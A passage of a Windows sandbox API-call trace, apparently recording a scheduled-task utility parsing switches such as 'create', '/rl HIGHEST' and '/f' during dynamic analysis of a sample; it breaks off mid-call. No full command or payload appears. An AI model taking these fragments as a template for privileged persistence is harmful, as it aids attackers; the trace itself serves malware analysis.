[0120.680] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.681] lstrlenW (lpString="z") returned 1 [0120.681] lstrlenW (lpString="z") returned 1 [0120.681] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.681] lstrlenW (lpString="rl") returned 2 [0120.681] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.681] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|z|") returned 3 [0120.681] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.681] lstrlenW (lpString="|z|") returned 3 [0120.681] lstrlenW (lpString="|rl|") returned 4 [0120.681] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.681] lstrlenW (lpString="f") returned 1 [0120.681] lstrlenW (lpString="f") returned 1 [0120.681] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.681] lstrlenW (lpString="rl") returned 2 [0120.681] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.681] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.681] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.681] lstrlenW (lpString="|f|") returned 3 [0120.681] lstrlenW (lpString="|rl|") returned 4 [0120.681] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.681] lstrlenW (lpString="v1") returned 2 [0120.681] lstrlenW (lpString="v1") returned 2 [0120.681] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.681] lstrlenW (lpString="rl") returned 2 [0120.682] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.682] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|v1|") returned 4 [0120.682] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.682] lstrlenW (lpString="|v1|") returned 4 [0120.682] lstrlenW (lpString="|rl|") returned 4 [0120.682] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0120.682] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.682] lstrlenW (lpString="xml") returned 3 [0120.682] lstrlenW (lpString="xml") returned 3 [0120.682] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.682] lstrlenW (lpString="rl") returned 2 [0120.682] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.682] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|xml|") returned 5 [0120.682] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.682] lstrlenW (lpString="|xml|") returned 5 [0120.682] lstrlenW (lpString="|rl|") returned 4 [0120.682] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0120.682] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.682] lstrlenW (lpString="ec") returned 2 [0120.682] lstrlenW (lpString="ec") returned 2 [0120.682] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.682] lstrlenW (lpString="rl") returned 2 [0120.682] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.682] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ec|") returned 4 [0120.682] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.683] lstrlenW (lpString="|ec|") returned 4 [0120.683] lstrlenW (lpString="|rl|") returned 4 [0120.683] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0120.683] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.683] lstrlenW (lpString="rl") returned 2 [0120.683] lstrlenW (lpString="rl") returned 2 [0120.683] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.683] lstrlenW (lpString="rl") returned 2 [0120.683] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.683] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.683] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rl|") returned 4 [0120.683] lstrlenW (lpString="|rl|") returned 4 [0120.683] lstrlenW (lpString="|rl|") returned 4 [0120.683] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0120.683] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.683] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.683] lstrlenW (lpString="HIGHEST") returned 7 [0120.683] lstrlenW (lpString="-/") returned 2 [0120.683] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0120.683] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.683] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.683] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.683] lstrlenW (lpString="HIGHEST") returned 7 [0120.683] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0120.683] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.683] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.683] _memicmp (_Buf1=0x286ac7da880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.684] lstrlenW (lpString="HIGHEST") returned 7 [0120.684] lstrlenW (lpString="HIGHEST") returned 7 [0120.684] lstrlenW (lpString=" \x09") returned 2 [0120.684] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0120.684] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0120.687] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0120.687] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0120.687] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0120.687] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0120.687] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0120.687] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0120.687] GetLastError () returned 0x0 [0120.687] lstrlenW (lpString="HIGHEST") returned 7 [0120.687] lstrlenW (lpString="HIGHEST") returned 7 [0120.687] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.687] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.687] lstrlenW (lpString="/f") returned 2 [0120.687] lstrlenW (lpString="-/") returned 2 [0120.687] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.687] lstrlenW (lpString="create") returned 6 [0120.687] lstrlenW (lpString="create") returned 6 [0120.687] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.687] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.687] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|create|") returned 8 [0120.687] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.687] lstrlenW (lpString="|create|") returned 8 [0120.687] lstrlenW (lpString="|f|") returned 3 [0120.687] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0120.687] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.687] lstrlenW (lpString="?") returned 1 [0120.688] lstrlenW (lpString="?") returned 1 [0120.688] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.688] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.688] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|?|") returned 3 [0120.688] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.688] lstrlenW (lpString="|?|") returned 3 [0120.688] lstrlenW (lpString="|f|") returned 3 [0120.688] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0120.688] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.688] lstrlenW (lpString="s") returned 1 [0120.688] lstrlenW (lpString="s") returned 1 [0120.688] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.688] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.688] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|s|") returned 3 [0120.688] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.688] lstrlenW (lpString="|s|") returned 3 [0120.688] lstrlenW (lpString="|f|") returned 3 [0120.688] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0120.688] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.688] lstrlenW (lpString="u") returned 1 [0120.688] lstrlenW (lpString="u") returned 1 [0120.688] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.688] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.688] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|u|") returned 3 [0120.688] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.688] lstrlenW (lpString="|u|") returned 3 [0120.689] lstrlenW (lpString="|f|") returned 3 [0120.689] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0120.689] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.689] lstrlenW (lpString="p") returned 1 [0120.689] lstrlenW (lpString="p") returned 1 [0120.689] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.689] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.689] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|p|") returned 3 [0120.689] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.689] lstrlenW (lpString="|p|") returned 3 [0120.689] lstrlenW (lpString="|f|") returned 3 [0120.689] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0120.689] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.689] lstrlenW (lpString="ru") returned 2 [0120.689] lstrlenW (lpString="ru") returned 2 [0120.689] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.689] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.689] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ru|") returned 4 [0120.689] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.689] lstrlenW (lpString="|ru|") returned 4 [0120.689] lstrlenW (lpString="|f|") returned 3 [0120.689] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0120.689] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.689] lstrlenW (lpString="rp") returned 2 [0120.689] lstrlenW (lpString="rp") returned 2 [0120.689] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.689] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.690] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rp|") returned 4 [0120.690] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.690] lstrlenW (lpString="|rp|") returned 4 [0120.690] lstrlenW (lpString="|f|") returned 3 [0120.690] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0120.690] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.690] lstrlenW (lpString="sc") returned 2 [0120.690] lstrlenW (lpString="sc") returned 2 [0120.690] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.690] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.690] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.690] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.690] lstrlenW (lpString="|sc|") returned 4 [0120.690] lstrlenW (lpString="|f|") returned 3 [0120.690] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0120.690] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.690] lstrlenW (lpString="mo") returned 2 [0120.690] lstrlenW (lpString="mo") returned 2 [0120.690] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.690] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.690] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|mo|") returned 4 [0120.690] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.690] lstrlenW (lpString="|mo|") returned 4 [0120.690] lstrlenW (lpString="|f|") returned 3 [0120.690] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0120.690] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.690] lstrlenW (lpString="d") returned 1 [0120.691] lstrlenW (lpString="d") returned 1 [0120.691] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.691] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.691] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|d|") returned 3 [0120.691] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.691] lstrlenW (lpString="|d|") returned 3 [0120.691] lstrlenW (lpString="|f|") returned 3 [0120.691] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0120.691] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.691] lstrlenW (lpString="m") returned 1 [0120.691] lstrlenW (lpString="m") returned 1 [0120.691] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.691] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.691] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|m|") returned 3 [0120.691] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.691] lstrlenW (lpString="|m|") returned 3 [0120.691] lstrlenW (lpString="|f|") returned 3 [0120.691] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0120.691] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.691] lstrlenW (lpString="i") returned 1 [0120.691] lstrlenW (lpString="i") returned 1 [0120.691] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.691] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.691] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|i|") returned 3 [0120.691] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.692] lstrlenW (lpString="|i|") returned 3 [0120.692] lstrlenW (lpString="|f|") returned 3 [0120.692] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0120.692] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.692] lstrlenW (lpString="tn") returned 2 [0120.692] lstrlenW (lpString="tn") returned 2 [0120.692] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.692] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.692] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.692] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.692] lstrlenW (lpString="|tn|") returned 4 [0120.692] lstrlenW (lpString="|f|") returned 3 [0120.692] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0120.692] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.692] lstrlenW (lpString="tr") returned 2 [0120.692] lstrlenW (lpString="tr") returned 2 [0120.692] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.692] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.692] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.692] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.692] lstrlenW (lpString="|tr|") returned 4 [0120.692] lstrlenW (lpString="|f|") returned 3 [0120.692] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0120.692] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.692] lstrlenW (lpString="st") returned 2 [0120.692] lstrlenW (lpString="st") returned 2 [0120.692] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.693] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.693] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|st|") returned 4 [0120.693] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.693] lstrlenW (lpString="|st|") returned 4 [0120.693] lstrlenW (lpString="|f|") returned 3 [0120.693] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0120.693] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.693] lstrlenW (lpString="sd") returned 2 [0120.693] lstrlenW (lpString="sd") returned 2 [0120.693] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.693] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.693] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sd|") returned 4 [0120.693] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.693] lstrlenW (lpString="|sd|") returned 4 [0120.693] lstrlenW (lpString="|f|") returned 3 [0120.693] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0120.693] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.693] lstrlenW (lpString="ed") returned 2 [0120.693] lstrlenW (lpString="ed") returned 2 [0120.693] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.693] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.693] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ed|") returned 4 [0120.693] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.693] lstrlenW (lpString="|ed|") returned 4 [0120.693] lstrlenW (lpString="|f|") returned 3 [0120.694] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0120.694] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.694] lstrlenW (lpString="it") returned 2 [0120.694] lstrlenW (lpString="it") returned 2 [0120.694] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.694] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.694] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|it|") returned 4 [0120.694] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.694] lstrlenW (lpString="|it|") returned 4 [0120.694] lstrlenW (lpString="|f|") returned 3 [0120.694] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0120.694] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.694] lstrlenW (lpString="et") returned 2 [0120.694] lstrlenW (lpString="et") returned 2 [0120.694] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.694] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.694] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|et|") returned 4 [0120.694] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.694] lstrlenW (lpString="|et|") returned 4 [0120.694] lstrlenW (lpString="|f|") returned 3 [0120.694] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0120.694] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.694] lstrlenW (lpString="k") returned 1 [0120.694] lstrlenW (lpString="k") returned 1 [0120.694] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.694] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.695] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|k|") returned 3 [0120.695] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.695] lstrlenW (lpString="|k|") returned 3 [0120.695] lstrlenW (lpString="|f|") returned 3 [0120.695] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0120.695] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.695] lstrlenW (lpString="du") returned 2 [0120.695] lstrlenW (lpString="du") returned 2 [0120.695] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.695] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.695] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|du|") returned 4 [0120.695] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.695] lstrlenW (lpString="|du|") returned 4 [0120.695] lstrlenW (lpString="|f|") returned 3 [0120.695] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0120.695] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.695] lstrlenW (lpString="ri") returned 2 [0120.695] lstrlenW (lpString="ri") returned 2 [0120.695] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.695] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.695] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ri|") returned 4 [0120.695] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.695] lstrlenW (lpString="|ri|") returned 4 [0120.695] lstrlenW (lpString="|f|") returned 3 [0120.695] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0120.695] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.696] lstrlenW (lpString="z") returned 1 [0120.696] lstrlenW (lpString="z") returned 1 [0120.696] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.696] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.696] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|z|") returned 3 [0120.696] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.696] lstrlenW (lpString="|z|") returned 3 [0120.696] lstrlenW (lpString="|f|") returned 3 [0120.696] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0120.696] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.696] lstrlenW (lpString="f") returned 1 [0120.696] lstrlenW (lpString="f") returned 1 [0120.696] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.696] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.696] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.696] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|f|") returned 3 [0120.696] lstrlenW (lpString="|f|") returned 3 [0120.696] lstrlenW (lpString="|f|") returned 3 [0120.696] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0120.696] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.696] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.696] GetProcessHeap () returned 0x286ac7d0000 [0120.696] RtlAllocateHeap 